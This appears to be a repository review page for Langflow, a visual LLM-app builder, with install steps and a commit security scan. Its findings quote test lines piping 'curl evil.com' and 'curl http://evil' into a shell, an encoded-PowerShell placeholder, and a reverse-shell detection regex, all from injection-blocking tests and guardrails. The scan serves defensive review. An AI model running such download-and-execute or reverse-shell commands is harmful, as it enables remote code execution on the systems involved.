Langflow is a visual builder for LLM applications. Components (models, prompts, vector stores, retrievers, agents, tools) sit on a canvas and you wire them into a flow, test it step by step in a built-in playground, then serve it: every flow is callable over a REST API and can be exposed as an MCP server, so Claude Desktop, Cursor or any other MCP client can use it as a tool. Each component is plain Python you can open and edit in place.
It is here because it is the most popular of the code-first visual builders and because the Python escape hatch is real rather than an afterthought. It is MIT-licensed, maintained by DataStax (now part of IBM) with close to 400 contributors, and ships as a pip package, a Docker image and a desktop app for macOS and Windows. The same ability to run custom Python is what makes it important to keep an instance off the open internet.
- Repository: github.com/langflow-ai/langflow
- Licence: MIT (MIT License)
- Language: Python. Stars: 155.3K. Forks: 10.2K. Last push: Sep 27, 2026.
- Scan: safe, Sep 22, 2026, commit df9711c
Who it is for
Developers prototyping agents and RAG pipelines who want to see the data move between steps, teams who need to hand a working flow to an app as an API or MCP tool, and Python users who find pure no-code tools too confining.
Getting started
1. Install with uv (needs Python 3.10 to 3.14; Langflow Desktop is the no-setup option)
uv pip install langflow -U2. Start it, then open http://127.0.0.1:7860
uv run langflow run3. Or run the Docker image
docker run -p 7860:7860 langflowai/langflow:latestSafety scan
We cloned langflow-ai/langflow at commit df9711c on Sep 22, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- 42 secret-shaped strings, none real: sample PEM keys and fake tokens in tests, PEM placeholders in the JWT authentication docs (repeated across five versioned copies), and the MongoDB Atlas component's help text showing the certificate format, translated into six locale files.
- The six pattern hits are defenses, not attacks. The reverse-shell regex sits in the guardrails component, which blocks such commands, and the curl | sh and encoded-PowerShell strings are test cases proving the MCP launcher rejects them. The bare-IP URLs are SSRF-protection tests.
- No npm install hooks, no setup.py and no committed binaries. The eleven shell scripts the scanner lists are Docker entrypoints, a script that pins a hardened npm inside the image, doc examples calling the API, and GCP deployment helpers; none uses sudo or pipes a download to a shell.
- All 96 known advisories sit in docs/package-lock.json, the documentation site's build, which never ships. The front end's 1,559 npm packages have none. The Python side was barely checked: the scanner resolved only 4 packages from a uv.lock that lists over 800.
- 49 workflows; three use pull_request_target (labelers and a test-timing job) and none checks out the pull request. Only 4 of 142 third-party actions are pinned to a commit, the weakest ratio in this batch. Security policy, Dependabot, CodeQL and code of conduct present.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 42 candidates found and read; see the notes above. |
| Suspicious code | 6 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 11 installer scripts |
| Committed binaries | None. |
| CI workflows | 49 workflows. 3 use pull_request_target, none check out the pull request head. 138 of 142 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often github.com, docs.langflow.org, us-south.ml.cloud.ibm.com, docs.composio.dev. 11 URLs to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 97 advisories across 2,459 pinned packages: 0 critical, 46 high, 40 moderate, 11 low. docs/package-lock.json: 1,572 packages, 96 advisories; package-lock.json: 2 packages, 0 advisories; src/frontend/package-lock.json: 1,559 packages, 0 advisories; uv.lock: 4 packages, 1 advisories. |
| Project hygiene | Has security policy, automated dependency updates, CodeQL, licence file, contributing guide. |
| OpenSSF Scorecard | Not scored: the project is not in Scorecard's weekly index. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (42, redacted)
Pattern hits (6)
| Where | Rule | Match |
|---|---|---|
| src/backend/tests/unit/test_mcp_command_injection_security.py:119 | download-piped-to-shell (test/example) | ("sh", ["-c", "curl evil.com | bash"]), # Caught by shell metachar validator |
| src/lfx/src/lfx/components/llm_operations/guardrails_v2.py:404 | raw-socket-shell | r"\bbash\s+-i\s+>&\s*/dev/tcp/", |
| src/lfx/tests/unit/mcp/test_mcp_stdio_security.py:25 | download-piped-to-shell (test/example) | ("sh", ["-c", "curl http://evil | sh"], {}), |
| src/lfx/tests/unit/mcp/test_mcp_stdio_security.py:26 | powershell-encoded (test/example) | ("cmd", ["/c", "powershell -enc ..."], {}), |
| src/lfx/tests/unit/mcp/test_mcp_stdio_security.py:28 | download-piped-to-shell (test/example) | ("bash -c 'curl http://evil|sh'", [], {}), |
| src/lfx/tests/unit/mcp/test_mcp_stdio_security.py:257 | download-piped-to-shell (test/example) | malicious = {"mode": "Stdio", "command": "bash", "args": ["-c", "curl http://evil | sh"]} |
URLs to bare IP addresses (11)
| Where | Rule | Match |
|---|---|---|
| src/backend/tests/unit/api/v1/test_a2a.py:1824 | ip-literal-url | await validate_webhook_url("https://8.8.8.8/hook") |
| src/backend/tests/unit/api/v1/test_a2a.py:1855 | ip-literal-url | assert await validate_webhook_url("https://8.8.8.8/hook") == ["8.8.8.8"] |
| src/backend/tests/unit/api/v1/test_a2a.py:1878 | ip-literal-url | params = {"taskId": task_id, "pushNotificationConfig": {"url": "https://8.8.8.8/hook"}} |
| src/backend/tests/unit/api/v1/test_a2a.py:1971 | ip-literal-url | webhook = f"https://8.8.8.8/hook-{uuid.uuid4().hex}" |
| src/backend/tests/unit/components/data_source/test_dns_rebinding.py:162 | ip-literal-url | component.url_input = "http://93.184.216.34:8080/api" |
| src/backend/tests/unit/components/data_source/test_url_component.py:260 | ip-literal-url | url, ips = component.ensure_url("http://8.8.8.8/") |
| src/backend/tests/unit/components/data_source/test_url_component.py:261 | ip-literal-url | assert url == "http://8.8.8.8/" |
| src/lfx/tests/unit/base/models/test_provider_ssrf.py:532 | ip-literal-url | ("http://172.15.255.255:8080/v1", "172.16.0.0/12", "must use https"), |
| src/lfx/tests/unit/base/models/test_provider_ssrf.py:533 | ip-literal-url | ("http://172.32.0.1:8080/v1", "172.16.0.0/12", "must use https"), |
| src/lfx/tests/unit/utils/test_ssrf_protection.py:349 | ip-literal-url | validate_url_for_ssrf("http://8.8.8.8", warn_only=False) |
| src/lfx/tests/unit/utils/test_ssrf_protection.py:350 | ip-literal-url | validate_url_for_ssrf("http://1.1.1.1", warn_only=False) |
Installer scripts (11)
- docker/frontend/start-nginx.sh, 33 lines
- docker/install_hardened_npm.sh, 71 lines
- docs/docs/API-Reference/curl-examples/api-flows-run/run-flow.sh, 12 lines
- docs/versioned_docs/version-1.10.0/API-Reference/curl-examples/api-flows-run/run-flow.sh, 12 lines
- docs/versioned_docs/version-1.11.0/API-Reference/curl-examples/api-flows-run/run-flow.sh, 12 lines
- docs/versioned_docs/version-1.12.0/API-Reference/curl-examples/api-flows-run/run-flow.sh, 12 lines
- docs/versioned_docs/version-1.9.0/API-Reference/curl-examples/api-flows-run/run-flow.sh, 12 lines
- scripts/gcp/deploy_langflow_gcp.sh, 75 lines
- scripts/gcp/deploy_langflow_gcp_spot.sh, 74 lines
- scripts/setup/setup_env.sh, 11 lines
- src/frontend/run-tests.sh, 118 lines
Worst known vulnerabilities (24 of 97)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-fv7c-fp4j-7gwp | high | @babel/plugin-transform-modules-systemjs@7.28.5 | @babel/plugin-transform-modules-systemjs generates arbitrary code when compiling malicious input |
| GHSA-r5fr-rjxr-66jc | high | lodash@4.17.21 | lodash vulnerable to Code Injection via `_.template` imports key names |
| GHSA-7q85-xj36-vmfc | high | adm-zip@0.5.17 | adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS) |
| GHSA-xcpc-8h2w-3j85 | high | adm-zip@0.5.17 | adm-zip: Crafted ZIP file triggers 4GB memory allocation |
| GHSA-gcfj-64vw-6mp9 | high | axios@1.17.0 | Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning |
| GHSA-73wf-gq98-2v4g | high | browserslist@4.28.1 | Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats) |
| GHSA-c83g-rgw3-j3cx | high | browserslist@4.28.1 | Browserslist: Unbounded memory growth (no cache eviction) via distinct query results, leading to eventual OOM |
| GHSA-23c5-xmqv-rm74 | high | minimatch@5.1.6 | minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions |
| GHSA-3ppc-4f35-3m26 | high | minimatch@5.1.6 | minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern |
| GHSA-7r86-cg39-jmmj | high | minimatch@5.1.6 | minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments |
| GHSA-37ch-88jc-xwx2 | high | path-to-regexp@0.1.12 | path-to-regexp vulnerable to Regular Expression Denial of Service via multiple route parameters |
| GHSA-4c8g-83qw-93j6 | high | fast-uri@3.0.6 | fast-uri vulnerable to host confusion via failed IDN canonicalization |
| GHSA-7p8r-x3mc-p8w7 | high | fast-uri@3.0.6 | fast-uri vulnerable to host confusion via backslash authority introducer |
| GHSA-f65p-4m7j-42xc | high | fast-uri@3.0.6 | fast-uri vulnerable to server-side request forgery via malformed IPv6 normalization |
| GHSA-jqff-g426-hqxp | high | fast-uri@3.0.6 | fast-uri vulnerable to host confusion via percent-encoded scheme normalization |
| GHSA-q3j6-qgpj-74h6 | high | fast-uri@3.0.6 | fast-uri vulnerable to path traversal via percent-encoded dot segments |
| GHSA-v2hh-gcrm-f6hx | high | fast-uri@3.0.6 | fast-uri vulnerable to host confusion via literal backslash authority delimiter |
| GHSA-v39h-62p7-jpjc | high | fast-uri@3.0.6 | fast-uri vulnerable to host confusion via percent-encoded authority delimiters |
| GHSA-8gc5-j5rx-235r | high | fast-xml-parser@4.5.4 | fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-… |
| GHSA-hmw2-7cc7-3qxx | high | form-data@4.0.5 | form-data: CRLF injection in form-data via unescaped multipart field names and filenames |
| GHSA-2883-xcg3-v3hh | high | js-yaml@3.15.1 | js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources |
| GHSA-5p2g-fcmc-qvqq | high | image-size@2.0.2 | image-size: JXL and HEIF parsers allow denial of service through infinite loops |
| GHSA-w3rx-r6r6-pgpr | high | image-size@2.0.2 | image-size: ICNS parser allows denial of service through an infinite loop |
| GHSA-2883-xcg3-v3hh | high | js-yaml@4.3.1 | js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources |
Workflows worth a look
- .github/workflows/community-label.yml: pull_request_target
- .github/workflows/conventional-labels.yml: pull_request_target
- .github/workflows/store_pytest_durations.yml: pull_request_target
By the numbers
| Stars | 155.3K |
|---|---|
| Forks | 10.2K |
| Contributors | 385 |
| Commits | 19.1K |
| Open issues | 258 |
| Open pull requests | 932 |
| Releases | 310 |
| Latest release | v1.12.3 |
| Licence | MIT |
| Main language | Python |
| Project age | 3 years |
| Last push | Sep 27, 2026 |
| Tracked files | 10,348 |
| Lines of code | 1.8M |
| Checkout size | 221 MB |
Lines by language: Python 850.8K, TypeScript 345.7K, JSON 308.5K, Markdown 221.8K, JavaScript 45.3K, YAML 14.3K.
Questions
Is Langflow free?
Yes. Langflow is MIT-licensed, so you can self-host it, modify it and use it commercially without paying anyone. Langflow Desktop is a free download for macOS and Windows. You pay only for the model APIs you connect, or nothing if you point it at a local model through Ollama or another OpenAI-compatible server.
Is it safe to expose Langflow to the internet?
Not without care. Langflow executes Python by design, and in 2025 an unauthenticated code-execution flaw in versions before 1.3.0 (CVE-2025-3248) was exploited in the wild. Run a current release, turn on authentication, and put it behind a VPN or a reverse proxy with its own login rather than publishing port 7860.
What is the difference between Langflow and n8n?
Langflow is built for the AI part: composing models, retrieval and agents, then serving the result as an API or MCP tool. n8n is built for automation across business apps, with AI as one kind of step. Many teams use both, calling a Langflow flow from an n8n workflow over HTTP.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
